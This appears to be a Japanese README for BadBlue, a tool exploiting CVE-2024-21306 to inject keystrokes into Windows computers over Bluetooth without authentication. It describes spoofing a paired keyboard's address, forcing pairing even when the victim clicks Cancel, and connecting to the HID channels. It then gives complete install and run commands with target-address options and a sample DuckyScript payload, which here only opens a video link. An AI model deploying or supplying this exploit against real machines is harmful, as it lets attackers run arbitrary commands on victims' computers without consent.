
CVE-2024-21306 BadBlue の実装 (DuckyScript を使用)
CVE-2024-21306 BadBlue の実装 (DuckyScript 使用)
認証なしピアリングによるコード実行 (HID キーボード使用)
これは marcnewlin が発見した CVE の実装です
そして BlueDucky からのコードも一部使用しています
BadBlue は Bluetooth デバイスの脆弱性を悪用するための強力なツールです。このスクリプトを実行すると、以下のことが可能です:
私はこれを Raspberry Pi 4 および VirtualBox (CSR 4.0、ORICO 4.0 などの Bluetooth モジュール使用) で正常に動作させました。.3007 以前のバージョンの Windows で動作します。 ターゲットの Windows コンピュータは Bluetooth キーボードとペアリング済みであり、そのキーボードの電源が切れている (または範囲外) 必要があります。
攻撃者は、Ubuntu (Kali でも動作可能ですが推奨しません) コンピュータと Broadcom ベースの Bluetooth アダプタ (CSR 4.0 でも動作可能かもしれません) を使用して、ターゲットのキーボードのアドレスを偽装し、Windows コンピュータの L2CAP 17 に接続し、SSP ペアリング機能を NoInputNoOutput に指定します。
被害者には Add a device Tap to set up your <Keyboard Name> という通知が表示されます。
通知を無視すると、何も起こりません。
通知をクリックすると、Bluetooth ペアリング要求ダイアログが表示されます。
被害者が Add a Bluetooth device UI を開いている場合、通知は表示されず、代わりにペアリング要求がモーダルダイアログとして即座に表示されます。
ペアリング要求ダイアログが閉じられた後、被害者が Cancel や X をクリックしても、攻撃者はペアリングを完了できます。ペアリングが完了すると、攻撃者は L2CAP 17 (HID Control) に接続します。
その後、攻撃者は L2CAP 19 (HID Interrupt) に接続し、任意のキーストロークを注入できます。
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel / Approve をクリック)-k はキーボード (デフォルトはキーボード F4:73:35:7A:4B:BB、必要に応じて変更)
-i はインターフェース (デフォルトは hci0)
-c はターゲット Windows デバイス (空白にすると自動スキャン)
作業中:
初回使用時に readchar が不足している可能性があります。以下のコマンドを使用してください:
pip install readchar
このツールは GUI 環境で実行する必要があります。CLI を使用すると dbus-launch エラーが発生する可能性があります。修正方法を知っている方は連絡してください。
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300